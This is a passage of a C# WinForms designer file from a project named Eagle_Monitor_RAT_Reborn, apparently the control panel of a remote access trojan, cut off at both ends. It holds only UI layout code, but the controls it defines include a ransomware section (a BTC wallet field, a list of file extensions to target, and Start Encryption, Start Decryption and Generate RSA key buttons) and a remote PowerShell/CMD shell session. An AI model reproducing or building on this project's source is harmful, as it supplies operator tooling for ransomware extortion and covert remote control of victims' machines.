System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.walletGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.walletGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.walletGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.walletGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.walletGuna2TextBox.Location = new System.Drawing.Point(272, 75);\n            this.walletGuna2TextBox.Name = \"walletGuna2TextBox\";\n            this.walletGuna2TextBox.PasswordChar = '\\0';\n            this.walletGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.walletGuna2TextBox.PlaceholderText = \"BTC Wallet : 1111111\";\n            this.walletGuna2TextBox.SelectedText = \"\";\n            this.walletGuna2TextBox.Size = new System.Drawing.Size(802, 36);\n            this.walletGuna2TextBox.TabIndex = 66;\n            // \n            // checkExtensionsGuna2CheckBox\n            // \n            this.checkExtensionsGuna2CheckBox.Animated = true;\n            this.checkExtensionsGuna2CheckBox.AutoSize = true;\n            this.checkExtensionsGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.checkExtensionsGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.checkExtensionsGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.checkExtensionsGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.checkExtensionsGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.checkExtensionsGuna2CheckBox.Location = new System.Drawing.Point(272, 42);\n            this.checkExtensionsGuna2CheckBox.Name = \"checkExtensionsGuna2CheckBox\";\n            this.checkExtensionsGuna2CheckBox.Size = new System.Drawing.Size(113, 17);\n            this.checkExtensionsGuna2CheckBox.TabIndex = 65;\n            this.checkExtensionsGuna2CheckBox.Text = \"Check extensions\";\n            this.checkExtensionsGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.checkExtensionsGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.checkExtensionsGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.checkExtensionsGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // panel20\n            // \n            this.panel20.Controls.Add(this.extensionRansomwareDataGridView);\n            this.panel20.Controls.Add(this.guna2VScrollBar14);\n            this.panel20.Dock = System.Windows.Forms.DockStyle.Left;\n            this.panel20.Location = new System.Drawing.Point(0, 0);\n            this.panel20.Name = \"panel20\";\n            this.panel20.Padding = new System.Windows.Forms.Padding(3);\n            this.panel20.Size = new System.Drawing.Size(266, 420);\n            this.panel20.TabIndex = 64;\n            // \n            // extensionRansomwareDataGridView\n            // \n            this.extensionRansomwareDataGridView.AllowDrop = true;\n            this.extensionRansomwareDataGridView.AllowUserToAddRows = false;\n            this.extensionRansomwareDataGridView.AllowUserToDeleteRows = false;\n            this.extensionRansomwareDataGridView.AllowUserToResizeColumns = false;\n            this.extensionRansomwareDataGridView.AllowUserToResizeRows = false;\n            this.extensionRansomwareDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.extensionRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.extensionRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.extensionRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle62.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle62.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle62.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle62.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle62.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle62.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle62.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.extensionRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle62;\n            this.extensionRansomwareDataGridView.ColumnHeadersHeight = 36;\n            this.extensionRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column47});\n            this.extensionRansomwareDataGridView.ContextMenuStrip = this.extensionContextMenuStrip;\n            this.extensionRansomwareDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.extensionRansomwareDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.extensionRansomwareDataGridView.EnableHeadersVisualStyles = false;\n            this.extensionRansomwareDataGridView.GridColor = System.Drawing.Color.White;\n            this.extensionRansomwareDataGridView.Location = new System.Drawing.Point(3, 3);\n            this.extensionRansomwareDataGridView.Name = \"extensionRansomwareDataGridView\";\n            this.extensionRansomwareDataGridView.ReadOnly = true;\n            this.extensionRansomwareDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle64.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle64.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle64.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle64.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.extensionRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle64;\n            this.extensionRansomwareDataGridView.RowTemplate.Height = 26;\n            this.extensionRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.extensionRansomwareDataGridView.Size = new System.Drawing.Size(242, 414);\n            this.extensionRansomwareDataGridView.TabIndex = 18;\n            this.extensionRansomwareDataGridView.TabStop = false;\n            // \n            // Column47\n            // \n            this.Column47.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle63.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column47.DefaultCellStyle = dataGridViewCellStyle63;\n            this.Column47.FillWeight = 25F;\n            this.Column47.HeaderText = \"Extension\";\n            this.Column47.Name = \"Column47\";\n            this.Column47.ReadOnly = true;\n            // \n            // extensionContextMenuStrip\n            // \n            this.extensionContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.extensionContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.addExtensionToolStripMenuItem,\n            this.removeExtensionToolStripMenuItem});\n            this.extensionContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.extensionContextMenuStrip.Size = new System.Drawing.Size(130, 72);\n            // \n            // addExtensionToolStripMenuItem\n            // \n            this.addExtensionToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addExtensionToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addExtensionToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px;\n            this.addExtensionToolStripMenuItem.Name = \"addExtensionToolStripMenuItem\";\n            this.addExtensionToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.addExtensionToolStripMenuItem.Text = \"Add\";\n            this.addExtensionToolStripMenuItem.Click += new System.EventHandler(this.addExtensionToolStripMenuItem_Click);\n            // \n            // removeExtensionToolStripMenuItem\n            // \n            this.removeExtensionToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeExtensionToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeExtensionToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeExtensionToolStripMenuItem.Name = \"removeExtensionToolStripMenuItem\";\n            this.removeExtensionToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeExtensionToolStripMenuItem.Text = \"Remove\";\n            this.removeExtensionToolStripMenuItem.Click += new System.EventHandler(this.removeExtensionToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar14\n            // \n            this.guna2VScrollBar14.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar14.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar14.InUpdate = false;\n            this.guna2VScrollBar14.LargeChange = 10;\n            this.guna2VScrollBar14.Location = new System.Drawing.Point(245, 3);\n            this.guna2VScrollBar14.Minimum = 1;\n            this.guna2VScrollBar14.Name = \"guna2VScrollBar14\";\n            this.guna2VScrollBar14.ScrollbarSize = 18;\n            this.guna2VScrollBar14.Size = new System.Drawing.Size(18, 414);\n            this.guna2VScrollBar14.TabIndex = 19;\n            this.guna2VScrollBar14.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.guna2VScrollBar14.Value = 1;\n            // \n            // subDirectoriesGuna2CheckBox\n            // \n            this.subDirectoriesGuna2CheckBox.Animated = true;\n            this.subDirectoriesGuna2CheckBox.AutoSize = true;\n            this.subDirectoriesGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.subDirectoriesGuna2CheckBox.CheckedState.BorderRadius = 0;\n            this.subDirectoriesGuna2CheckBox.CheckedState.BorderThickness = 0;\n            this.subDirectoriesGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.subDirectoriesGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.subDirectoriesGuna2CheckBox.Location = new System.Drawing.Point(272, 19);\n            this.subDirectoriesGuna2CheckBox.Name = \"subDirectoriesGuna2CheckBox\";\n            this.subDirectoriesGuna2CheckBox.Size = new System.Drawing.Size(140, 17);\n            this.subDirectoriesGuna2CheckBox.TabIndex = 63;\n            this.subDirectoriesGuna2CheckBox.Text = \"Include sub directories\";\n            this.subDirectoriesGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.subDirectoriesGuna2CheckBox.UncheckedState.BorderRadius = 0;\n            this.subDirectoriesGuna2CheckBox.UncheckedState.BorderThickness = 0;\n            this.subDirectoriesGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            // \n            // tabPage28\n            // \n            this.tabPage28.Controls.Add(this.startDecryptionGuna2Button);\n            this.tabPage28.Controls.Add(this.startEncryptionGuna2Button);\n            this.tabPage28.Controls.Add(this.generateRSAKeyGuna2Button);\n            this.tabPage28.Location = new System.Drawing.Point(4, 44);\n            this.tabPage28.Name = \"tabPage28\";\n            this.tabPage28.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage28.Size = new System.Drawing.Size(1077, 420);\n            this.tabPage28.TabIndex = 5;\n            this.tabPage28.Text = \"Operation\";\n            this.tabPage28.UseVisualStyleBackColor = true;\n            // \n            // startDecryptionGuna2Button\n            // \n            this.startDecryptionGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.startDecryptionGuna2Button.Animated = true;\n            this.startDecryptionGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.startDecryptionGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.startDecryptionGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.startDecryptionGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.startDecryptionGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.startDecryptionGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.startDecryptionGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.startDecryptionGuna2Button.Location = new System.Drawing.Point(538, 248);\n            this.startDecryptionGuna2Button.Name = \"startDecryptionGuna2Button\";\n            this.startDecryptionGuna2Button.Size = new System.Drawing.Size(167, 36);\n            this.startDecryptionGuna2Button.TabIndex = 38;\n            this.startDecryptionGuna2Button.Text = \"Start Decryption\";\n            this.startDecryptionGuna2Button.Click += new System.EventHandler(this.startDecryptionGuna2Button_Click);\n            // \n            // startEncryptionGuna2Button\n            // \n            this.startEncryptionGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.startEncryptionGuna2Button.Animated = true;\n            this.startEncryptionGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.startEncryptionGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.startEncryptionGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.startEncryptionGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.startEncryptionGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.startEncryptionGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.startEncryptionGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.startEncryptionGuna2Button.Location = new System.Drawing.Point(343, 248);\n            this.startEncryptionGuna2Button.Name = \"startEncryptionGuna2Button\";\n            this.startEncryptionGuna2Button.Size = new System.Drawing.Size(167, 36);\n            this.startEncryptionGuna2Button.TabIndex = 37;\n            this.startEncryptionGuna2Button.Text = \"Start Encryption\";\n            this.startEncryptionGuna2Button.Click += new System.EventHandler(this.startEncryptionGuna2Button_Click);\n            // \n            // generateRSAKeyGuna2Button\n            // \n            this.generateRSAKeyGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.generateRSAKeyGuna2Button.Animated = true;\n            this.generateRSAKeyGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.generateRSAKeyGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.generateRSAKeyGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.generateRSAKeyGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.generateRSAKeyGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.generateRSAKeyGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.generateRSAKeyGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.generateRSAKeyGuna2Button.Location = new System.Drawing.Point(343, 206);\n            this.generateRSAKeyGuna2Button.Name = \"generateRSAKeyGuna2Button\";\n            this.generateRSAKeyGuna2Button.Size = new System.Drawing.Size(362, 36);\n            this.generateRSAKeyGuna2Button.TabIndex = 37;\n            this.generateRSAKeyGuna2Button.Text = \"Generate RSA key\";\n            this.generateRSAKeyGuna2Button.Click += new System.EventHandler(this.generateRSAKeyGuna2Button_Click);\n            // \n            // tabPage29\n            // \n            this.tabPage29.Controls.Add(this.panel21);\n            this.tabPage29.Controls.Add(this.remoteShellGuna2ToggleSwitch);\n            this.tabPage29.Controls.Add(this.label11);\n            this.tabPage29.Controls.Add(this.remoteShellGuna2TextBox);\n            this.tabPage29.Controls.Add(this.remoteShellGuna2Button);\n            this.tabPage29.Location = new System.Drawing.Point(4, 4);\n            this.tabPage29.Name = \"tabPage29\";\n            this.tabPage29.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage29.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage29.TabIndex = 7;\n            this.tabPage29.Text = \"Shell\";\n            this.tabPage29.UseVisualStyleBackColor = true;\n            // \n            // panel21\n            // \n            this.panel21.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.panel21.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.panel21.Controls.Add(this.remoteShellStdOutRichTextBox);\n            this.panel21.Location = new System.Drawing.Point(6, 6);\n            this.panel21.Name = \"panel21\";\n            this.panel21.Padding = new System.Windows.Forms.Padding(3);\n            this.panel21.Size = new System.Drawing.Size(1079, 399);\n            this.panel21.TabIndex = 66;\n            // \n            // remoteShellStdOutRichTextBox\n            // \n            this.remoteShellStdOutRichTextBox.BackColor = System.Drawing.Color.White;\n            this.remoteShellStdOutRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.remoteShellStdOutRichTextBox.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.remoteShellStdOutRichTextBox.Font = new System.Drawing.Font(\"Consolas\", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));\n            this.remoteShellStdOutRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.remoteShellStdOutRichTextBox.Location = new System.Drawing.Point(3, 3);\n            this.remoteShellStdOutRichTextBox.Name = \"remoteShellStdOutRichTextBox\";\n            this.remoteShellStdOutRichTextBox.ReadOnly = true;\n            this.remoteShellStdOutRichTextBox.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical;\n            this.remoteShellStdOutRichTextBox.Size = new System.Drawing.Size(1073, 393);\n            this.remoteShellStdOutRichTextBox.TabIndex = 55;\n            this.remoteShellStdOutRichTextBox.Text = \"\";\n            this.remoteShellStdOutRichTextBox.TextChanged += new System.EventHandler(this.remoteShellStdOutRichTextBox_TextChanged);\n            // \n            // remoteShellGuna2ToggleSwitch\n            // \n            this.remoteShellGuna2ToggleSwitch.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.remoteShellGuna2ToggleSwitch.Animated = true;\n            this.remoteShellGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteShellGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteShellGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.remoteShellGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White;\n            this.remoteShellGuna2ToggleSwitch.Location = new System.Drawing.Point(96, 408);\n            this.remoteShellGuna2ToggleSwitch.Name = \"remoteShellGuna2ToggleSwitch\";\n            this.remoteShellGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20);\n            this.remoteShellGuna2ToggleSwitch.TabIndex = 64;\n            this.toolTip1.SetToolTip(this.remoteShellGuna2ToggleSwitch, \"CMD is the default program to run command.\");\n            this.remoteShellGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.remoteShellGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.remoteShellGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.remoteShellGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White;\n            // \n            // label11\n            // \n            this.label11.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label11.Location = new System.Drawing.Point(9, 408);\n            this.label11.Name = \"label11\";\n            this.label11.Size = new System.Drawing.Size(68, 20);\n            this.label11.TabIndex = 65;\n            this.label11.Text = \"Powershell :\";\n            this.label11.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // remoteShellGuna2TextBox\n            // \n            this.remoteShellGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.remoteShellGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.remoteShellGuna2TextBox.DefaultText = \"\";\n            this.remoteShellGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.remoteShellGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.remoteShellGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.remoteShellGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.remoteShellGuna2TextBox.Enabled = false;\n            this.remoteShellGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.remoteShellGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.remoteShellGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.remoteShellGuna2TextBox.Location = new System.Drawing.Point(137, 434);\n            this.remoteShellGuna2TextBox.Multiline = true;\n            this.remoteShellGuna2TextBox.Name = \"remoteShellGuna2TextBox\";\n            this.remoteShellGuna2TextBox.PasswordChar = '\\0';\n            this.remoteShellGuna2TextBox.PlaceholderText = \"whoami\";\n            this.remoteShellGuna2TextBox.SelectedText = \"\";\n            this.remoteShellGuna2TextBox.Size = new System.Drawing.Size(948, 34);\n            this.remoteShellGuna2TextBox.TabIndex = 1;\n            this.remoteShellGuna2TextBox.KeyDown += new System.Windows.Forms.KeyEventHandler(this.remoteShellGuna2TextBox_KeyDown);\n            // \n            // remoteShellGuna2Button\n            // \n            this.remoteShellGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));\n            this.remoteShellGuna2Button.Animated = true;\n            this.remoteShellGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.remoteShellGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.remoteShellGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.remoteShellGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.remoteShellGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteShellGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.remoteShellGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.remoteShellGuna2Button.Location = new System.Drawing.Point(6, 434);\n            this.remoteShellGuna2Button.Name = \"remoteShellGuna2Button\";\n            this.remoteShellGuna2Button.Size = new System.Drawing.Size(125, 34);\n            this.remoteShellGuna2Button.TabIndex = 54;\n            this.remoteShellGuna2Button.Text = \"Start Session\";\n            this.remoteShellGuna2Button.Click += new System.EventHandler(this.remoteShellGuna2Button_Click);\n            // \n            // ransomwareContextMenuStrip\n            // \n            this.ransomwareContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.ransomwareContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.removePathToolStripMenuItem});\n            this.ransomwareContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.ransomwareContextMenuStrip.Size = new System.Drawing.Size(157, 38);\n            // \n            // removePathToolStripMenuItem\n            // \n            this.removePathToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removePathToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removePathToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removePathToolStripMenuItem.Name = \"removePathToolStripMenuItem\";\n            this.removePathToolStripMenuItem.Size = new System.Drawing.Size(156, 34);\n            this.removePathToolStripMenuItem.Text = \"Remove Path\";\n            this.removePathToolStripMenuItem.Visible = false;\n            this.removePathToolStripMenuItem.Click += new System.EventHandler(this.removePathToolStripMenuItem_Click);\n            // \n            // logoPictureBox\n            // \n            this.logoPictureBox.BackColor = System.Drawing.Color.Transparent;\n            this.logoPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.eagle2;\n            this.logoPictureBox.Location = new System.Drawing.Point(4, 1);\n            this.logoPictureBox.Name = \"logoPictureBox\";\n            this.logoPictureBox.Size = new System.Drawing.Size(32, 28);\n            this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.logoPictureBox.TabIndex = 5;\n            this.logoPictureBox.TabStop = false;\n            this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown);\n            // \n            // panel6\n            // \n            this.panel6.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.panel6.Controls.Add(this.guna2Panel5);\n            this.panel6.Dock = System.Windows.Forms.DockStyle.Bottom;\n            this.panel6.Location = new System.Drawing.Point(2, 514);\n            this.panel6.Name = \"panel6\";\n            this.panel6.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0);\n            this.panel6.Size = new System.Drawing.Size(1279, 39);\n            this.panel6.TabIndex = 9;\n            // \n            // guna2Panel5\n            // \n            this.guna2Panel5.BackColor = System.Drawing.Color.White;\n            this.guna2Panel5.Controls.Add(this.bytesSentlabel);\n            this.guna2Panel5.Controls.Add(this.bytesReceivedLabel);\n            this.guna2Panel5.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.guna2Panel5.Location = new System.Drawing.Point(0, 2);\n            this.guna2Panel5.Name = \"guna2Panel5\";\n            this.guna2Panel5.Size = new System.Drawing.Size(1279, 37);\n            this.guna2Panel5.TabIndex = 3;\n            // \n            // bytesSentlabel\n            // \n            this.bytesSentlabel.AutoSize = true;\n            this.bytesSentlabel.BackColor = System.Drawing.Color.Transparent;\n            this.bytesSentlabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.bytesSentlabel.Location = new System.Drawing.Point(3, 20);\n            this.bytesSentlabel.Name = \"bytesSentlabel\";\n            this.bytesSentlabel.Size = new System.Drawing.Size(16, 13);\n            this.bytesSentlabel.TabIndex = 9;\n            this.bytesSentlabel.Text = \"...\";\n            this.bytesSentlabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // bytesReceivedLabel\n            // \n            this.bytesReceivedLabel.AutoSize = true;\n            this.bytesReceivedLabel.BackColor = System.Drawing.Color.Transparent;\n            